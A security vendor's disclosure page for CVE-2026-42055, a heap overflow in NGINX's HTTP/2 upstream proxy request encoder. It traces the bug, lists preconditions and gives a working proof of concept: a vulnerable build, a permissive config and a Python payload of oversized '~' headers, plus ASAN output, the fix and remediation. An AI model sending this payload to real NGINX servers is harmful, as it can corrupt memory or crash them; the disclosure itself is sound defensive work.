Skip to content
winfunc
Disclosure record · NGINX

HTTP/2 upstream proxy request encoder permits heap overflow with oversized raw headers (CVE-2026-42055)

NGINX HTTP/2 upstream proxy request encoding under-counted oversized raw forwarded headers

NGINXCVE-2026-42055DisclosedSource record

CVSS 3.1 base score

High
8.1/ 10

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Record

Project
NGINX
Severity
High8.1
CVE
CVE-2026-42055
Disclosed
Trace
7 steps

Summary

Source

ngx_http_proxy_handler()

src/http/modules/ngx_http_proxy_module.c:878

Sink

ngx_http_proxy_v2_create_request()

src/http/modules/ngx_http_proxy_v2_module.c:808

When proxy_http_version 2 sends a request to an HTTP/2 upstream, ngx_http_proxy_v2_create_request() builds an HPACK-compressed request header block. Before the fix, the sizing pass used the same four-byte NGX_HTTP_V2_INT_OCTETS allowance for every forwarded header name and value length, but the serialization pass used the variable HPACK integer encoder.

A request with raw-encoded forwarded header names and values longer than NGX_HTTP_V2_MAX_FIELD makes the actual HPACK length prefix larger than the reserved budget. With enough oversized fields, the serialized header block plus in-place CONTINUATION-frame insertion exceeds the temporary upstream buffer allocation. The proof-backed sink is the ngx_memmove() continuation insertion loop in ngx_http_proxy_v2_create_request().

This is the HTTP/2 proxy half of CVE-2026-42055 / F5 advisory K000161584. The same NGINX 1.31.2 security entry covers both HTTP/2 and gRPC backends, and the F5 CVE record names ngx_http_proxy_v2_module and ngx_http_grpc_module as affected. NGINX fixed the proxy and gRPC request builders together in commit 26d824e, merged through PR #1474.

Severity

Attack vectorAV
Network
Attack complexityAC
High
Privileges requiredPR
None
User interactionUI
None
ScopeS
Unchanged
ConfidentialityC
High
IntegrityI
High
AvailabilityA
High

Metric values as published in the disclosure vector. Meters show how far each value raises exposure.

Source-to-sink trace

  1. Source · attacker-controlledsrc/http/modules/ngx_http_proxy_module.c:878

    ngx_http_proxy_handler()

  2. Step 01src/http/ngx_http_request.c:1489-1519

    With ignore_invalid_headers off, the HTTP/1.x request path stores invalid but accepted client header names and values in r->headers_in.headers instead of dropping them.

    cpp
    if (r->invalid_header && cscf->ignore_invalid_headers) {
        continue;
    }
    
    h->key.len = r->header_name_end - r->header_name_start;
    h->value.len = r->header_end - r->header_start;
    
  3. Step 02src/http/modules/ngx_http_proxy_module.c:878-880

    proxy_http_version 2 dispatches the proxied request into the HTTP/2 upstream implementation. That path is reachable only for configurations using the HTTP/2 upstream proxy feature.

    cpp
    if (plcf->http_version == NGX_HTTP_VERSION_20) {
        return ngx_http_proxy_v2_handler(r);
    }
    
  4. Step 03src/http/modules/ngx_http_proxy_v2_module.c:271

    The HTTP/2 upstream proxy handler installs ngx_http_proxy_v2_create_request() as the request creator, so accepted client headers flow into this encoder when request-header forwarding is enabled.

    cpp
    u->create_request = ngx_http_proxy_v2_create_request;
    
  5. Step 04src/http/modules/ngx_http_proxy_v2_module.c:517-521 (before fix)

    The vulnerable sizing pass added each pass-through header with a fixed four-octet HPACK length budget for the name and another four octets for the value.

    cpp
    len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len
             + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
    
  6. Step 05src/http/modules/ngx_http_proxy_v2_module.c:764-768 (before fix)

    The serialization pass then wrote the same strings through the real HPACK encoder. Raw strings of 2,097,279 bytes require five HPACK length bytes, not four.

    cpp
    b->last = ngx_http_v2_write_name(b->last, header[i].key.data,
                                      header[i].key.len, tmp);
    b->last = ngx_http_v2_write_value(b->last, header[i].value.data,
                                       header[i].value.len, tmp);
    
  7. Step 06src/http/modules/ngx_http_proxy_v2_module.c:808-809 (before fix)

    After serialization, the request builder inserts CONTINUATION frame headers in place with ngx_memmove(). The underestimated HPACK block can leave too little slack, turning the frame insertion into the final out-of-bounds write.

    cpp
    ngx_memmove(b->pos + n + sizeof(ngx_http_proxy_v2_frame_t),
                b->pos + n, b->last - b->pos - n);
    
  8. Step 07src/http/modules/ngx_http_proxy_v2_module.c:517-570 (fix, commit 26d824e)

    The fix applies the same NGX_HTTP_V2_MAX_FIELD guard used by HTTP/2 response header sizing before accounting pass-through request header names and values.

    cpp
    if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                      "too long http2 header name: \"%V\"",
                      &header[i].key);
        return NGX_ERROR;
    }
    
    if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) {
        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
                      "too long http2 header value: \"%V: %V\"",
                      &header[i].key, &header[i].value);
        return NGX_ERROR;
    }
    
    len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len
             + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
    
  9. Sinksrc/http/modules/ngx_http_proxy_v2_module.c:808

    ngx_http_proxy_v2_create_request()

Impact

Reported impact

The proven impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker under restrictive non-default configuration. The ASAN proof confirms a write in ngx_http_proxy_v2_create_request() at the continuation-frame movement sink. Without ASAN, observable behavior depends on allocator state and may range from a failed upstream request to worker crash or memory corruption.

Attack surface

NGINX Open Source deployments using proxy_http_version 2 to proxy requests to HTTP/2 upstreams. The HTTP/2 upstream proxy feature was introduced in the 1.29.x line, and the combined CVE is fixed in Open Source 1.31.2+ and 1.30.3+.

Preconditions

The request must reach a proxy_pass location configured with proxy_http_version 2; proxy_pass_request_headers must be enabled, which is the default; ignore_invalid_headers off must allow raw-unfriendly header names; and large_client_header_buffers must permit multi-megabyte header lines. The worker must also be able to allocate the large request header buffers and upstream request buffer.

Attack path

  1. 1

    Send an HTTP/1.x request to a vulnerable HTTP/2 upstream proxy location.

  2. 2

    Include multiple pass-through headers whose names and values are NGX_HTTP_V2_MAX_FIELD + 1 bytes of a raw-unfriendly byte such as ~.

  3. 3

    The proxy-v2 sizing pass allocates the upstream request buffer using a four-byte HPACK integer budget per name and value.

  4. 4

    The serializer emits five-byte HPACK length prefixes for the oversized raw strings.

  5. 5

    The in-place CONTINUATION-frame insertion loop shifts the serialized block and writes past the allocation.

Proof of concept

Reproduction5 stages
  1. 01

    Environment setup

    Build a vulnerable NGINX checkout before commit 26d824e, such as e8053c867f9ab14f323e3019ccab585d857abb66, with ASAN and HTTP/2 support:

    bash
    ./auto/configure --with-http_v2_module --with-debug \
      --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
      --with-ld-opt='-fsanitize=address'
    make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu)"
    
  2. 02

    Target configuration

    Run a disposable localhost-only proxy with HTTP/2 upstream mode and permissive header parsing:

    nginx
    worker_processes 1;
    master_process off;
    daemon off;
    error_log logs/error.log debug;
    
    events { worker_connections 1024; }
    
    http {
        access_log off;
        ignore_invalid_headers off;
        large_client_header_buffers 16 5m;
    
        server {
            listen 127.0.0.1:<front_port>;
            location / {
                proxy_http_version 2;
                proxy_pass http://127.0.0.1:<unused_loopback_port>;
            }
        }
    }
    
  3. 03

    Exploit delivery

    Send seven pass-through headers whose names and values are each 2,097,279 ~ bytes:

    python
    payload = bytearray(b"GET / HTTP/1.1\r\nHost: localhost\r\n")
    for _ in range(7):
        payload.extend(b"~" * 2097279)
        payload.extend(b": ")
        payload.extend(b"~" * 2097279)
        payload.extend(b"\r\n")
    payload.extend(b"Connection: close\r\n\r\n")
    
    sock.sendall(payload)
    

    The proof model reported budget_total=29362070, allocated=29378198, final_size=29378200, and overflow_bytes=2.

  4. 04

    Expected response

    A vulnerable ASAN build reports:

    text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 1871
    SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_http_proxy_v2_module.c:808 in ngx_http_proxy_v2_create_request
    CONFIRMED: ASAN heap-buffer-overflow in ngx_http_proxy_v2_create_request with oversized raw '~' names and values
    
  5. 05

    Outcome

    The proof confirms heap memory corruption while building the upstream HTTP/2 proxy request. After commit 26d824e, the oversized forwarded header name or value is rejected before HPACK serialization, and the ASAN heap-buffer-overflow no longer appears.

Remediation

Guidance

Upgrade NGINX Open Source to 1.31.2+ or 1.30.3+, or apply commit 26d824ec3a2f819300edce0ab3b055751c9843ff. Before upgrading, reduce exposure by keeping ignore_invalid_headers on, avoiding multi-megabyte public header buffers, and disabling or filtering request-header forwarding for HTTP/2 upstream proxy locations that do not require arbitrary client headers.

Before and after−8+16
len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len         + NGX_HTTP_V2_INT_OCTETS + header[i].value.len; /* later */b->last = ngx_http_v2_write_name(b->last, header[i].key.data,                                  header[i].key.len, tmp);b->last = ngx_http_v2_write_value(b->last, header[i].value.data,                                   header[i].value.len, tmp);if (header[i].key.len > NGX_HTTP_V2_MAX_FIELD) {    ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,                  "too long http2 header name: \"%V\"",                  &header[i].key);    return NGX_ERROR;} if (header[i].value.len > NGX_HTTP_V2_MAX_FIELD) {    ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,                  "too long http2 header value: \"%V: %V\"",                  &header[i].key, &header[i].value);    return NGX_ERROR;} len += 1 + NGX_HTTP_V2_INT_OCTETS + header[i].key.len         + NGX_HTTP_V2_INT_OCTETS + header[i].value.len;
View original source record

Check the upstream record for the project's current remediation status.

Your codebase

Investigate the paths that matter in your codebase.

Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.